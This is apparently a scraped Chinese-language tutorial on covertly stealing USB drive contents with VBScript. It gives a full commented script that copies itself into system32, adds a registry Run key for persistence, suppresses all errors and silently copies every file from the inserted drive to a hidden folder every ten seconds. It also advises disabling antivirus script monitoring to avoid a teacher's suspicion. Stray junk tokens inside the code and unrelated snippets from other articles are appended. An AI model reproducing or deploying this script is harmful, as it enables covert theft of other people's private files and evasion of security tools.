指令碼應該具備以下功能:
1.開機自啟動;
2.定時複製u盤所有檔案及資料夾到指定位置;
3.無任何錯誤提示(很關鍵,如果不想找死的話)。
思路很簡單,接下來就是指令碼的具體內容了,我在每行指令碼後都加了注釋,但願比我還菜的人也能看懂
複製** **如下:
on error resume next 『忽略異常,否則可能會有錯誤提示框
set&nbipurrsp;fso=createobject("scripting.filesystemobject") 『建立fso
dim n
set n=createobject("wscript.shell") 『宣告變數n
set dir = fso.getspecialfolder(1) 『讀取system32資料夾路徑
fso.getfile(wscript.scriptfullname).copy(dir&"\copy.vbs") 『讀取自身檔名,並複製自己到system32資料夾,重新命名為copy.vbs
dim r
set ipurr;r=createobject("wscript.shell") 『宣告變數r,用於讀寫登錄檔
r.regwrite"hklm\software\microsoft\windows\currentversion\ipurrrun\","copy.vbs","reg_sz" 『為指令碼新增啟動項
fso.createfolder("c:\windows\explorer") 『建立資料夾,用來存放u盤檔案
for i = 1 to 2
i = 1 『看出來了麼,這是個死迴圈,變數i不可能到2,所以可以不斷檢查u盤並複製內容
fso.copyfile "i:\*", "c:\windows\explorer\", true 『複製i盤(u盤碟符)所有檔案到指定資料夾
fso.copyfolder "i:\*", "c:\windows\explorer\", true 『複製i盤所有資料夾到指定資料夾
wscript.sleep 10000 『掛起10秒,此屬性單位為毫秒
next
把上述內容存為kubau0.vbs,才幾百位元組。
提示一點,因為指令碼內容有對登錄檔和檔案的操作,所以執行時要把防毒軟體的網頁或指令碼之類的監控關掉,否則會不客氣的彈出個對話方塊問你是否執行,如果引起老師懷疑的話……那你就節哀吧。
現在,只要在目標機上執行一次指令碼(什麼?沒反應?當www.cppcns.com然不會有了!看看程序列表,如果有乙個wscript.exe就說明已經執行成功了),指令碼執行會停留在死迴圈裡,每隔10秒複製一次檔案到c:\windows\explorer\資料夾(間隔時間和目標資料夾均可自行設定),重啟後會自動執行,且不會有任何異常提示,畢竟安全才是最重要的嘛!這也是vbs的特點,一切悄無聲息。
不過指令碼也不是沒有缺點,那就是在複製檔案的時候u盤燈www.cppcns.com會狂閃不止,且機器執行速度會明顯變慢,且無法通過安全刪除硬體來停止u盤,不過好在老師們多是才鳥(才鳥?什麼東西?有才的菜鳥?),但是如果哪位高手能幫我解決,還請不吝賜教!
另外,別以為複製完就萬事大吉了,最好定期刪除沒用的檔案,否則目標資料夾會急劇膨脹,比如我們班,一星期下來就超了1g,很恐怖!
本文標題: 利用vbs指令碼輕鬆盜u盤資料
本文位址:
VBS 常用指令碼
將域使用者或租新增到本地組 set objgroup getobject winnt administrators set objuser getobject winnt testnet engineers objgroup.add objuser.adspath 修改本地管理員密碼 set obj...
vbs 指令碼學習
最近一直學習指令碼技術,上次初步學習了bat批處理,現在順勢了解了下vbs指令碼。vbs是vb語言的乙個縮影。該語言不需要編譯,可以直接在windows作業系統上解釋執行,效率很高。由於語法簡單,靈活高效,功能強大,所以很值得研究。該語言提供了大部分vb語言所提供的功能,但是描述能力比較弱,所以就是...
vbs關機指令碼
dim mytime,myout1,myout2 mytime null mytime inputbox 請輸入定時時間 格式20 10 05 vblf 如果想倒計時關機,請輸入倒計時時間 vblf 單位 分鐘 vblf 輸入 可以馬上關機 vblf 退出點 取消 定時關機 1 set wshshe...